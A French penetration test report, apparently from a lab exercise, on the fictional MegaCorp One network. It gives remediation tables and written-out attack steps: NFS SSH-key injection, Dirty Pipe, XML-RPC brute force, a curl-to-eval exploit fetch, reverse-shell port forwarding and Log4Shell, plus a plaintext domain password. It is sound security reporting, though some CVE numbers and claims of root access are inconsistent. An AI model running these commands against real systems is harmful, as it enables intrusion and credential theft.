---
title: "Rapport de test de pénétration - Megacorp One"
author: ["Pepinster Julien", "Tourtois Antoine"]
from: markdown+yaml_metadata_block
lang: "fr"
lof: true
book: true
table-use-row-colors: true
classoption: oneside
code-block-font-size: \scriptsize
---

# Synthèse

Lors de ce test de penetration, nous avons identifié 5 machines sur le réseau, réparties sur deux sous-réseaux (10.180.30.0/24 et 10.180.20.0/24). Nous avons pu accéder aux machines du sous-réseau 10.180.30.0 en utilisant une machine qui était connectée aux deux sous-réseaux.

Sur ces 5 machines, nous avons réussi à accéder à 4 d'entre elles en exploitant différentes vulnérabilités présentes sur ces machines, ce qui nous a permis d'obtenir un accès complet, y compris l'accès root/administrateur.

Il est clair que l'infrastructure de MegaCorp One est vulnérable aux attaques externes et qu'il est urgent de prendre des mesures pour corriger ces problèmes afin d'éviter toute conséquence grave pour l'infrastructure.

Dans les tableaux ci-dessous, vous retrouverez pour chaque machine, les vulnérabilités identifiées pour celles-ci, les conséquences de ces vulnérabilités ainsi que des recommendations à mettre en place pour protéger les systèmes.

## Vulnérabilités par hôte

### 10.180.30.15
| Vulnérabilité | Conséquence | Recommendation |
| --------------------------- | --------------------------------------------- | --------------------------------------- |
| Montage NFS non-authentifié | Lecture et modification de fichier arbitraire | Authentifier les accès aux partages NFS |
| CVE-2022-0847 | Escalade de privilèges (root) | Mettre à jour le noyau |

### 10.180.30.10
| Vulnérabilité | Conséquence | Recommendation |
| ------------------------------------ | ------------------------------------- | ------------------------------------------------------------------------------------ |
| XML-RPC activé sur le site WordPress | Brute-force des identifiants possible | Désactiver l'endpoint XML-RPC |
| CVE-2014-5460 | Envoi de fichier arbitraire | Mettre à jour les plug-ins WordPress |
| CVE-2021-4034 | Escalade de privilèges (root) | Mettre à jour "polkit" ou mitiger en retirant la permission SUID du binaire "pkexec" |

### 10.180.20.1

| Vulnérabilité | Conséquence | Recommendation |
| ---------------------------------------------- | ---------------- | ------------------------------------------------------------------ |
| Mot de passe d'un utilisateur de l'AD en clair | Connexion à l'AD | Effacer le mot de passe des commentaires de l'utilisateur "jsheer" |

### 10.180.20.2

| Vulnérabilité | Conséquence | Recommendation |
| ------------- | ----------------- | ---------------------- |
| CVE-2017-0144 | Exécution de code | Mise à jour du système |

### 10.180.20.3

| Vulnérabilité | Conséquence | Recommendation |
| ------------------------------------------------------------- | ---------------------- | -------------------------------------------------------------- |
| CVE-2021-44228 | Exécution de code | Mettre à jour log4j |
| Programme exécuté par le système modifiable par l'utilisateur | Escalade de privilèges | Retirer les permissions en écriture sur le programme "OpenVPN" |

# Introduction

MegaCorp One nous a confié la mission de réaliser un test d'intrusion sur leur infrastructure. Dans le cadre de cette mission, nous avons eu accès à leurs bureaux et aux informations de connexion nécessaires pour accéder à leur réseau.

Cette étude a été faite en boite-noire, c'est-à-dire que nous n'avions pas de vue globale sur le parc informatique, sur les services utilisés ainsi que le code source des applications mises à disposition. Cette technique permet d'avoir un scénario réaliste de la vue d'un attaquant potentiel et permet de réagir en fonction de ce scénario.

## Portée
Cette étude se déroule exclusivement dans le cadre du parc informatique de la société, c'est-à-dire dans tous les sous-réseaux au sein du réseau de l'entreprise ainsi que les hôtes présents sur ceux-ci.

Vous trouverez dans le tableau ci-dessous la liste des sous-réseaux et la liste des machines découvert(e)s au cours de l'étude.

### Sous-réseaux

| Sous-réseau | Description |
|:---------------:| --------------------------------------------------------------------------- |
| 10.180.20.0 /24 | Composé de machines Windows avec un active directory |
| 10.180.30.0 /24 | Composé de machines Linux |

### Hôtes

| Hôte | Description |
|:------------:| ---------------------------------------------------------------- |
| 10.180.20.1 | Windows Server 2016, contrôleur de domaine de l'Active Directory |
| 10.180.20.2 | Windows XP, membre de l'Active Directory |
| 10.180.20.3 | Windows 10, membre de l'Active Directory et serveur WEB |
| 10.180.30.10 | Ubuntu, serveur WEB Apache2 |
| 10.180.30.15 | Debian 5, serveur WEB Nginx |

# Méthodologie
Dans le cadre de cette étude, nous utiliserons une méthodologie en 4 étapes. Cette méthodologie sera répétée à chaque fois qu'une nouvelle machine / sous-réseau est découvert(e).


Nous utiliserons principalement des outils disponibles dans les dépôts de la distribution Kali Linux. Le choix de X outil est basé sur le vecteur d'attaque exploité ainsi que les contraintes rencontrées au moment de l'attaque.

## Reconnaissance
En amont de cette étude, nous avons effectué une reconnaissance de l'entreprise en utilisant des techniques d'OSINT. Il est possible que ce type de reconnaissance soit encore utilisé si cela s'avère nécessaire.

Cette reconnaissance est faite dans le but d'établir de la corrélation entre différentes pistes et de confirmer d'éventuels résultats. La reconnaissance peut également servir à générer des dictionnaires utilisés lors d'éventuelles attaques par brute-force.

Beaucoup d'outils sont utilisés lors de la reconnaissance mais les moteurs de recherche sont principalement utilisés. Il ne s'agit que d'informations disponibles en ligne et trouvables en libre accès sans devoir pénétrer un système. Cette étape s'inscrit donc dans un scénario en boite-noire.

## Enumération
Quand nous serons face à un sous-réseau à scanner, nous utiliserons l'outil "Nmap" afin de détecter tous les hôtes présents sur ce sous-réseau. L'utilisation de cet outil est justifié par sa versatilité et sa fiabilité.

Nous utiliserons également cet outil afin de lister les services disponibles sur un hôte en fonction des ports ouverts sur celui-ci. Souvent, cela sera fait en parallèle avec la reconnaissance d'un sous-réseau.

Une fois les services et logiciels identifiés, nous énumérerons les versions de ces services / logiciels afin de déterminer s'ils sont vulnérables à de potentielles failles de sécurité connues. Cette étape se fait par l'intermédiaire de "Nmap" qui va nous afficher les versions des services lorsque cette information est disponible ainsi que par l'utilisation de moteurs de recherche de vulnérabilités.

## Exploitation
L'exploitation se focalise sur l'utilisation de failles de sécurité détectées lors de l'énumération. Le but est, à l'issue de cette étape, d'avoir un accès à des informations qui nous étaient cachées / interdites à la base.

C'est également cette étape qui va déterminer les actions à prendre afin de sécuriser chaque système du parc informatique. En montrant concrètement ce qu'un attaquant serait capable de faire après avoir exploité ces failles, cela nous donnera aussi une meilleure idée du chemin que cet attaquant prendrait et quels vecteurs il faut donc sécuriser.

Les outils utilisés lors de cette étape varient selon le type de service à exploiter ainsi que les failles de sécurité. En général, nous utiliserons le framework "Metasploit" dû à sa versatilité grâce à la multitude d'outils qu'il contient. Un autre avantage de ce framework est qu'il intègre tout ce qu'il faut pour introduire un "reverse shell" avec des fonctionnalités avancées, appelé "Meterpreter". Il intègre également des utilitaires pour faire de la redirection de ports et autres outils utiles pour pivoter lors de la post-exploitation.

Nous utiliserons également les différents outils de la suite "Peass-ng", lors des escalades de privilèges.

## Post-exploitation
Cette étape vise à récolter des informations rendues accessibles après l'exploitation. Ces informations peuvent être des connexions à d'autres sous-réseaux, des comptes utilisateurs, de fichiers, ...

C'est également à partir de là que nous pourrons pivoter vers d'autres sous-réseaux / hôtes. En effet, une machine compromise peut servir de pivot vers des machines vers lesquelles nous n'avons pas d'accès direct à l'aide de redirection de ports par exemple.

Comme pour l'exploitation, c'est le framework "Metasploit" qui sera principalement utilisé pour ses outils qui simplifient les techniques permettant de pivoter.

# Déroulement

## Sous-réseau 10.180.30.0/24
Nous avons obtenu l'adresse de ce sous-réseau grâce au domaine "www.megacorpone.be", qui redirige vers ce sous-réseau.

Nous avons procédé à un scan complet du sous réseau à l'aide de l'outil Nmap. Voici la commande utilisée: `nmap 10.180.30.0/24`. Cette commande particulière permet de lister tous les hôtes du sous-réseau ainsi que d'éventuels ports ouverts sur ces hôtes. Ce scan nous a révélé deux hôtes sur lesquels nous nous sommes attardés.

### Serveur WEB Nginx - 10.180.30.15
#### Enumération
A la suite du scan du sous-réseau, nous avons obtenu une liste de ports ouverts sur la machine. Grâce au scan, nous savons également qu'il s'agit d'une machine Linux. Voici la liste des ports ouverts sur la machine :

| Port | Service | Version |
| -------- | -------- | ------------------------------------- |
| 22/tcp | ssh | OpenSSH 8.4p1 Debian 5 (protocol 2.0) |
| 80/tcp | http | nginx 1.18.0 |
| 111/tcp | rpcbind | 2-4 (RPC #100000) |
| 443/tcp | ssl/http | nginx 1.18.0 |
| 2049/tcp | nfs_acl | 3 (RPC #100227) |

Le port 111 est utilisé pour rediriger les requêtes vers des services spécifiques. Il est possible de lister ces services en utilisant l'outil "rpcinfo" avec la commande `rpcinfo 10.180.30.15`. Parmi ces services, il y a le service "mountd", qui permet à un client de monter un répertoire distant. Si ce service est mal configuré, il peut être possible de monter un répertoire sans avoir à s'authentifier.

La commande `showmount -e 10.180.30.15` permet d'énumérer les répertoires partagés. L'option "-e" permet de retourner la liste complète des répertoires partagés. En voici le résultat:

Export list for 10.180.30.15:
/home/jason 10.180.0.0/16

#### Exploitation
Nous avons alors tenté de monter ce répertoire avec la commande "mount". Nous avons au préalable créé un point de montage (`/mnt/home.jason`). Voici la commande complète permettant de monter le répertoire distant: `mount -t nfs 10.180.30.15:/home/jason /mnt/home/jason`. L'argument `-t nfs` indique à "mount" qu'il doit utiliser le protocole NFS.

Bingo, le répertoire peut être monté sans authentification, cela représente un vecteur d'attaque non négligeable car cela peut permettre à des personnes non autorisées d'accéder à des informations sensibles. Voici le contenu du répertoire:

drwxr-xr-x  3 1001 1001 4096 Sep 30 10:28 .
drwxrwxrwt 27 root root 4096 Oct 11 14:39 ..
-rwxr-xr-x  1 1001 1001    0 Sep 30 10:32 .bash_history
-rwxr-xr-x  1 1001 1001  220 Sep 29 15:31 .bash_logout
-rwxr-xr-x  1 1001 1001 3526 Sep 29 15:31 .bashrc
-rw-r--r--  1 root root  146 Sep 30 10:28 notes.txt
-rwxr-xr-x  1 1001 1001  807 Sep 29 15:31 .profile
drwxr-xr-x  2 1001 1001 4096 Sep 30 10:25 .ssh

Nous pouvons voir que le répertoire ".ssh" est accessible en écriture, ceci est intéressant car il est possible, avec le protocole SSH, de se connecter en utilisant une paire clé privée - clé publique. Il est alors théoriquement possible de créer cette paire de clés et de l'injecter dans le répertoire ".ssh" pour contourner l'authentification par mot de passe.

Pour se faire, nous avons généré une paire de clés avec la commande ssh-keygen, copié le contenu de la clé publique dans le fichier .ssh/authorized_keys sur le répertoire monté. Nous nous sommes ensuite connecté en SSH avec la clé privée, spécifiée par l'option "-i", en tant que l'utilisateur "jason".

ssh-keygen
cat id_rsa.pub > /mnt/home/jason/.ssh/authorized_keys
ssh -i id_rsa jason@10.180.30.15

Nous voici à présent connecté en tant qu'utilisateur, nous pouvons alors tenter une élévation de privilèges. Pour se faire, nous pouvons lancer un scan avec l'outil "linpeas" de la suite "PEASS-ng". Ce scan nous révèle que la version du noyau Linux est vulnérable à la CVE-2022-0847.

Nous pouvons l'exploiter simplement grâce à un dépôt Github contenant l'exploit: [Al1ex/CVE-2022-0847](https://github.com/Al1ex/CVE-2022-0847). Il nous a alors suffit de télécharger ce dépot et de lancer l'exécutable qui permet de modifier tout fichier. Nous avons alors modifié de fichier `/etc/passwd` afin de se connecter avec l'ID utilisateur 0 et ainsi obtenir tous les droits sur la machine.

Cette exploit porte le nom de "Dirty Pipe", qui exploite une faille dans le noyau Linux. En effet, cette vulnérabilité rend possible d'écrire arbitrairement dans un fichier sur lequel nous n'avons pas les droits de modification. Dans ce cas ci, nous avons pu l'exploiter afin d'altérer le fichier `/etc/passwd` et ainsi de se connecter en tant que root sur le système.

git clone https://github.com/Al1ex/CVE-2022-0847
cd CVE-2022-0847
chmod +x exp
./exp /etc/passwd 1 ootz:

### Serveur WEB Apache - 10.180.30.10

#### Enumération
Tout comme pour la machine précédente, nous avons tout d'abord listé les ports ouverts. Voici cette liste:

| Port | Service | Version |
| ------ | ------- | --------------------------------------------------------------- |
| 22/tcp | ssh | OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http | Apache httpd 2.4.7 |

Nous nous sommes penchés sur le serveur WEB et utilisé l'outil "Dirb", qui permet de trouver des pages cachées sur un site Web en effectuant une attaque par brute-force sur les répertoires du site. Dirb nous a révélé la présence d'un site WordPress dans le répertoire `/wordpress`. WordPress est un système de gestion de contenu (CMS) qui permet de créer et de gérer facilement un site Web.

Nous avons alors utilisé l'outil "wpscan", qui permet d'analyser un site WordPress et de détecter les vulnérabilités présentes. Ce scan nous a révélé un bon nombre d'informations, parmi lesquelles la présence de deux fonctionnalités connues pour être vulnérables:

- **XML-RPC**: il s'agit de l'ancienne version de l'API de WordPress, remplacée par l'API REST. Malgré tout, cette spécification demeure parmi les fonctionnalités de WordPress et peut être activée.
- **Plug-in slideshow-gallery**: ce plug-in permet de créer des galleries photo et intègre son propre système de transfert de fichiers.

En naviguant le site WordPress, nous retrouvons un nom d'utilisateur: "blogger". Ce nom d'utilisateur pourra éventuellement servir pour se connecter au pannel administrateur.

#### Exploitation

Comme nous l'avons vu lors de l'énumération, la fonctionnalité appelée "XML-RPC" est activée. Il existe une vulnérabilité permettant de faciliter le brute-force d'identifiants car il est possible d'envoyer des centaines d'essais en une seule requête. Nous pouvons alors tenter d'exploiter cette vulnérabilité contre le nom d'utilisateur "blogger", retrouvé plus tôt.

Pour se faire, nous avons utilisé un script permettant d'accomplir ceci: xmlrpc-bruteforcer (@xml-bruteforcer). Il nous a alors suffit de télécharger le script et de l'exécuter avec la commande suivante:

python3 xmlrpc-bruteforcer.py -u blogger -w /usr/share/wordlists/rockyou.txt -x http://10.180.30.10/wordpress/xmlrpc.php

Arguments:

- `-u` pour spécifier le nom d'utilisateur
- `-w` pour spécifier le dictionnaire à utiliser
- `-x` pour spécifier l'interface (URL) à attaquer

Nous avons ainsi obtenu le mot de passe de l'utilisateur "blogger".

Nous pouvons alors exploiter la deuxième vulnérabilité identifiée lors de l'énumération, il s'agit d'une vulnérabilité dans un plug-in utilisé par le site: "slideshow gallery". En effet, avant la version 1.4.7, il est possible d'envoyer des fichiers arbitrairement et ainsi de potentiellement envoyer un reverse-shell.

Pour se faire, nous avons utilisé le module "wp_slideshowgallery_upload" de Metasploit en spécifiant l'URL du site WordPress et les identifiants récoltés lors de l'attaque par brute-force. Nous avons également sélectionné un reverse-shell amélioré, appelé Meterpreter, qui inclut une multitude d'outils facilitant la post-exploitation.

Nous avons ensuite procédé à l'escalade de privilèges en lançant l'outil "linpeas", comme nous l'avons fait précédemment. L'outil a identifié la machine comme étant vulnérable à l'exploit "CVE-2021-4043", une vulnérabilité dans l'utilitaire "polkit", un programme similaire à "sudo" qui permet d'exécuter des commandes en se faisant passer pour un autre utilisateur.

Nous pouvons utiliser un programme permettant de l'exploiter, disponible sur le dépôt Github https://github.com/berdav/CVE-2021-4034. Il nous suffit donc d'exécuter cette commande:

eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"

Cette commande va se charger de télécharger un script qui va à son tour télécharger l'exploit en elle-même, la compiler et l'exécuter. Après avoir terminé l'exploit, nous étions bel et bien connectés en tant que root.

#### Post-Exploitation
Nous avons tout d'abord vérifié si la machine était connectée à un autre sous-réseau, ce qui nous permettrait potentiellement de pivoter vers d'autres machines. Et en effet, la machine possède une deuxième carte réseau connectée au sous-réseau `10.180.20.0/24`.

Grâce au Meterpreter, nous pouvons ajouter une route vers ce sous-réseau afin de pouvoir utiliser les modules de Metasploit contre les machines présentes su r ce sous réseau. Nous pouvons utiliser le module "autoroute", qui va se charger de créer la route, voici la commande complète (dans la session meterpreter):

run autoroute -s "10.180.20.0"

Nous pouvons à présent scanner les hôtes présents sur ce sous-réseau grâce au module "arp_sweep" de Metasploit. Nous pouvons alors constater qu'il y a 3 hôtes présents sur ce sous-réseau:

- 10.180.20.1
- 10.180.20.2
- 10.180.20.3

## Sous-réseau 10.180.20.0/24

### Windows XP - 10.180.20.2

#### Enumération
A nouveau, nous avons listé les services sur la machine grâce à "Nmap":

| Port | Service |
| ------- | ----------- |
| 139/tcp | netbios-ssn |
| 445/tcp | netbios-ssn |

Il s'agit des deux ports utilisés par le service SMB, qui permet de partager des répertoires via le réseau. Nous pouvons alors utiliser certains modules Metasploit afin de détecter d'éventuelles vulnérabilités sur le service.

Nous avons scanné pour déterminer si le service est vulnérable à EternalBlue (CVE-2017-0144), une vulnérabilité qui permet une exécution de commandes en envoyant une requête malveillante via SMB.

Le module Metasploit utilisé pour déterminer si le service est vulnérable est le suivant: "scanner/smb/smb_ms17_010". Le scan nous indique que le service est bel-et-bien vulnérable.

#### Exploitation
Il existe deux modules Metasploit permettant l'exploitation d'Eternalblue, mais nous allons utiliser le module "exploit/windows/smb/ms17_010_psexec" avec comme payload un Meterpreter.

Etant donné qu'il est nécessaire d'avoir une communication dans les deux sens, nous devons faire de la redirection de ports sur le pivot, pour que les requêtes envoyées sur ce pivot soient redirigées vers la machine attaquante. Voici les règles "iptables" que nous avons mis en place sur le pivot:

iptables -t nat -A PREROUTING -p tcp --dport 4444 -j DNAT --to-destination 10.180.10.1:4444
iptables -t nat -A POSTROUTING -j MASQUERADE

Nous pouvons ensuite lancer le module avec comme hôte d'écoute le pivot et comme port, le port que nous avons redirigé. Il faut également lancer le module "multi/handler" en arrière plan sur le port redirigé afin d'écouter les requêtes entrantes. Nous obtenons ainsi un Meterpreter connecté en tant qu'Administrateur local.

#### Post-Exploitation
Comme il s'agit machine Windows, il est intéressant de vérifier si celle-ci fait partie d'un Active Directory. Nous pouvons le vérifier avec la commande `systeminfo` qui nous donne des informations sur le système dont un éventuel domaine dont la machine fait partie. En l'occurrence, la machine fait partie du domaine "ptlab.be", et son contrôleur de domaine est probablement la machine "10.180.20.1".

Nous pouvons tenter d'énumérer les différents utilisateurs et ordinateurs présents sur le domaine grâce à cette commande:

net user /domain

Ce qui nous retourne bien la liste des utilisateurs du domaine:
- Administrator
- agrofield
- DefaultAccount
- georges
- Guest
- jsheer
- krbtgt
- SQLService
- user
- win10
- winxp

Nous avons également regardé du côté des commentaires des utilisateurs, à la recherche d'informations supplémentaires. Nous avons pour cela utilisé le module Metasploit "windows/gather/enum_ad_user_comments". En voici le résultat:

| userPrincipalName | sAMAccountName | userAccountControl | comment | description |
| ----------------- | -------------- | ------------------ | ------- | ---------------------- |
| [e-mail] | jsheer | 66048 | | My password is Ch0u09! |

En effet, le mot de passe de l'utilisateur "jsheer" est inscrit en clair et accessible à tout le monde, membre ou pas de l'Active Directory. Nous pourrons utiliser ces identifiants lors de l'énumération du contrôleur de domaine.

### Windows 10 - 10.180.20.3

#### Enumération
Comme pour le reste des machines, la première étape est de lister les services activés sur la machine. Voici le résultat de la commande "Nmap":

| Port | Service |
| -------- | -------------- |
| 135/tcp | msrpc |
| 139/tcp | netbios-ssn |
| 445/tcp | microsoft-ds? |
| 3389/tcp | ms-wbt-server? |
| 9999/tcp | abyss? |

Nous pouvons voir qu'il y a un serveur SMB et un serveur LDAP. Ce qui est curieux dans ce cas-ci, est le port 9999, marqué par Nmap comme étant un serveur "abyss", un serveur WEB.

Nous pouvons alors aller voir du côté de ce serveur web, où nous trouvons une page simple avec un formulaire permettant de consulter un inventaire. Nous pouvons également utiliser l'outil "Wappalyzer" (www.wappalyzer.com), une extension de navigateur qui permet de détecter les technologies utilisées dans une application web. Nous pouvons voir ici que l'application web utilise Java, ce qui nous amène à penser à Log4J, ce qui semble logique étant donné que la machine est dotée d'un serveur LDAP. Log4J est un framework de journalisation pour Java, dans lequel a récemment été trouvé une vulnérabilité, "Log4Shell".

#### Exploitation
Comme nous l'avons déterminé dans l'énumération, le site WEB utilise probablement Log4J, nous pouvons donc tester cela. Pour se faire, nous devons mettre en place un serveur LDAP, un serveur WEB ainsi qu'un programme qui va écouter les requêtes pour établir un reverse shell. Comme nous utilisons un pivot, il faut tout d'abord faire de la redirection de ports sur celui-ci. Voici les règles "iptables" mises en place:

iptables -t nat -A PREROUTING -p tcp --dport 4444 -j DNAT --to-destination 10.180.10.1:4444
iptables -t nat -A PREROUTING -p tcp --dport 5555 -j DNAT --to-destination 10.180.10.1:5555
iptables -t nat -A PREROUTING -p tcp --dport 1389 -j DNAT --to-destination 10.180.10.1:1389
iptables -t nat -A POSTROUTING -j MASQUERADE

Nous avons utilisé le dépôt github [kozmer/log4j-shell-poc](https://github.com/kozmer/log4j-shell-poc), qui contient un script permettant de lancer les serveur LDAP et WEB nécessaires à l'attaque. Il nous suffit alors de spécifier les bons ports au script et d'écouter les requêtes sur le bon port pour le reverse shell.

Nous avons utilisé le module Metasploit "multi/handler" pour écouter les requêtes, et avons lancé l'attaque. Nous avons alors obtenu le reverse shell en tant qu'utilisateur.

# Conclusion

Il est important de signaler que l'accès obtenu en tant qu'administrateur ou root sur quatre des cinq machines vulnérables découvertes sur le réseau de MegaCorp One montre une grave vulnérabilité de l'infrastructure de l'entreprise aux attaques externes.

Cela peut être dû à des facteurs tels que l'utilisation de machines mal configurées, de services vulnérables et non mis à jour, ou d'un système d'exploitation qui n'est plus pris en charge par les mises à jour de sécurité ou qui n'est pas mis à jour.

La présence de tant de vulnérabilités dans l'infrastructure pose un grave problème pour sa disponibilité, sa confidentialité et son intégrité. Il est donc urgent de prendre des mesures pour corriger ces problèmes de sécurité afin de protéger l'entreprise contre les risques potentiels de cyberattaque. Cela peut inclure la mise à jour des logiciels et des systèmes d'exploitation, la configuration correcte des paramètres de sécurité et la mise en place de pare-feu. Il est également important de vérifier régulièrement la vulnérabilité de l'infrastructure aux attaques externes en effectuant des tests de pénétration réguliers à l'avenir.

Nous tenons à remercier l'équipe de MegaCorp One pour sa collaboration pendant le processus de pentesting. Nous espérons que ce rapport vous aidera à comprendre les risques potentiels auxquels votre entreprise est confrontée et à prendre les mesures nécessaires pour les éviter.

# Flags

### 10.180.30.10



### 10.180.30.15

L'absence du proof est un oubli de notre part.


### 10.180.20.2



### 10.180.20.3